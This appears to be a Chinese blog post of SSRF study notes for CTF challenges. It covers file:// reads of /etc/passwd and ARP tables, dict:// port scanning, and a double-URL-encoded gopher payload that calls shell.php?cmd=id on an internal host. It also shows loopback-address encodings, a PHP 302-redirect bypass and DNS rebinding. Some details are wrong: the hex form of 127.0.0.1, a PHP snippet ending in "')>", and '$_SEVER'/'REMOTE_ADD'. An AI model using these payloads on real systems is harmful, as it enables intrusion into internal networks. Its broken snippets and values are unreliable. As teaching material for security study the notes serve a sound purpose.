0%

SSRF专题总结

前置知识 NAT技术(建议自学,看我的肯定学不会)

之前在准备华为ICT大赛的时候学习过NAT技术,还专门配了网络拓扑图(bushi)
今天就当作是复习,顺便为未来的小登开一条路
NAT

NAT即网络地址转换,通过将一个外部IP地址和端口映射到更大的内部IP地址集来转换IP地址
说人话就是,因为只有公网能上www,但是ipv4地址是有限的,所以统一发配一个公网地址给一堆机器,使这一堆机器都可以上www

漏洞原理

  1. 攻击的目标:
    从外网无法访问的内部系统

  2. 形成的原因:
    大部分是由于服务端提供了从其他服务器要用获取数据的功能,并且没有对目标地址做过滤与限制

例如:从指定url地址获取网页文本内容,加载指定地址的图片并下载,百度识图然后给出一串url就能识别出图片

  1. 攻击方式:
    借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息

伪协议

  1. file:// 从文件系统中获取文件内容(读hosts获取内网ip,扫描后读arp获取内网存活主机 )
  2. dict:// 字典服务协议,访问字典资源(可以判断端口是否开启)
  3. ftp:// 可以用于网络端口扫描
  4. sftp:// ssh文件传输协议或者安全文件传输协议
  5. idap:// 轻量级目录访问协议
  6. tftp:// 简单文件传输协议
  7. gopher:// 分布式文档传递服务

信息收集之file伪协议

查找内网存活主机
file:// 从文件系统中获取文件内容,格式为file://[文件路径]

1
2
3
4
file:///etc/passwd        # 读取文件passwd
file:///etc/hosts # 显示当前操作系统网卡的IP
file:///proc/net/arp # 显示arp缓存表(寻找内网其他主机)//不管防火墙什么的,只要还存活都能扫出来
file:///proc/net/fib_trie # 显示当前网段路由信息
1
file:///proc/net/arp   

这个必须要我们先用ssrf访问了内网的某网段之后才会被记录到这里面
因为arp是工作在两台主机事先通讯了的情况下
所以我们一般先用脚本暴力打一遍所有的内网网段,然后再去访问arp,即可得到存活的内网其他主机

信息收集之dict伪协议

查找内网主机开放端口
格式

1
dict://+ip:端口+/TCP/IP数据
  1. ftp:// 效率相对低
  2. dict:// 效率相对较高
    扫描速度快,可以根据页面响应的内容大小来区分哪些端口是正常打开的,哪些端口没开的

信息收集之http伪协议

进行路径爆破
http://是常规url形式,允许通过HTTP 1.0 的GET方法,以只读的新式访问文件或者资源, 通常用于远程包含

信息收集之gopher伪协议

利用范围较广:GET提交,POST提交,redis,Fastcgi,sql

  1. 基本格式
1
gopher://<host>:<port>/<gopher-path>

web也需要加端口号80
因为gopher协议默认端口号为70

  1. 小特性

当我们在发送端发送

1
curl gopher://127.0.0.1:7777/abcd

并且在接受端开监听
那么接受端会接收到bcd
所以说gopher请求不转发第一个字符

因此我们在提交gopher的时候都要在第一位提交填充位

1
curl gopher://127.0.0.1:7777/_abcd

这样子我们才能让接受端完整的接收到我们想传的abcd

exp:gopher伪协议如何发起GET提交和POST提交

GET提交

我们可以用bp抓包,得到包的头部信息

1
2
3
GET / HTTP/1.1
Host: 38.55.99.185:8880

注意上面的空的一行是必须的

接下来我们把这个进行修改,然后添加在gopher伪协议的后面,也就是那个TCP数据流

具体的构造是需要根据题目来说的

1
2
3
GET /name.php?name=kwansh HTTP/1.1
Host: 172.250.250.4

然后添加在我们的gopher伪协议后面

1
2
3
gopher://172.250.250.4:80/_GET /name.php?name=kwansh HTTP/1.1
Host: 172.250.250.4

没错,这样子整好之后就可以拿去burpsuit进行发包了,记得要对_GET /name.php?name=kwansh HTTP/1.1
Host: 172.250.250.4

进行两次url编码(ssrf入口解码一次,ssrf内网机又解码一次)

要是想直接从入口机打入payload,则需要进行一次url编码
将我们构造的payload中的部分符号进行url编码

1
2
3
空格: %20
问号:%3f
换行符: %0d%0a

但是一般情况下还是推荐使用burpsuit,抓包之后直接把我们的payload打上去,接下来我拿个靶机做个实验

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ssrf.php HTTP/1.1
Host: 38.55.99.185:8880
Content-Length: 288
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://38.55.99.185:8880
Referer: http://38.55.99.185:8880/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

url=gopher%3A%2F%2F172.72.23.22:80/_%25%34%37%25%34%35%25%35%34%25%32%30%25%32%66%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%33%66%25%36%33%25%36%64%25%36%34%25%33%64%25%36%39%25%36%34%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%37%25%33%32%25%32%65%25%33%32%25%33%33%25%32%65%25%33%32%25%33%32%25%30%64%25%30%61%0d%0a

大概就是这么打的

注意点就是

  1. 问号?需要转为url编码,也就是%3f
  2. 回车换行要变为%0d%0a
  3. 在http包的最后要加%0d%0a,代表消息结束
  4. url编码改为大写没注意英文冒号
  5. 如果使用burpsuit,要记得两次url编码
  6. GET提交最后要增加一个换行符

但是GET提交为什么要做的这么麻烦呢,http伪协议就可以直接拼接get参数,完全没有gopher的用武之地,所以gopher在ssrf入口机对内网机进行POST提交的时候最常用

POST提交

POST提交需要保留的头部信息更多

  1. POST /…..
  2. Host:
  3. Content-Type:
  4. Content-Length:

这些就自己去了解,这么简单,还想着白嫖?

SSRF之回环地址

在某些赛题(不指名道姓)中,会出现限制访问本地网站内容的情况

1
$_SEVER['REMOTE_ADD']=='127.0.0.1'

看到地址是127.0.0.1才会回显出需要读取的内容,但是直接输入127.0.0.1又会被ban,所以我们需要做一些变形

变形

  1. 点分十进制(最常见)
1
127.0.0.1
  1. 32位bit二进制
1
0b01111111000000000000000000000001
  1. 八进制
1
017700000001
  1. 16进制
1
0x17700000001
  1. 十进制(连续)
1
2130706433

SSRF之302重定向绕过IP限制

肯定有人遇到过的,肯定的,就是针对私网地址杯限制的情况,这个时候我们要使用302重定向

附上图表其实更好理解
alt text

很清晰了吧,攻击机直接通过ssrf入口机访问内网ip被ban,所以在公网服务器上开了一个服务,然后通过ssrf入口机访问那个服务,那个服务又可以通过302重定向访问到内网ip

vps上挂在一个简单的重定向一句话,例如

1
2
3
cat index.php
<?php
header('Location: http://127.0.0.1/flag.php')>

然后秒启动服务(挂载起来)

1
php -S 0.0.0.0:7777

最后在ssrf入口机直接访问即可

1
http://38.55.99.185:7777/index.php

SSRF之dns重绑定绕过

上面的方法都失效之后就可以使用dns重绑定攻击

由于国内厂商的ttl机制(最短时间1分钟),反正我是复现不了,有兴趣的查查博客学学这种姿势

可以用rbndr这个项目来实现dns重绑定绕过
https://github.com/taviso/rbndr
https://lock.cmpxchg8b.com/rebinder.html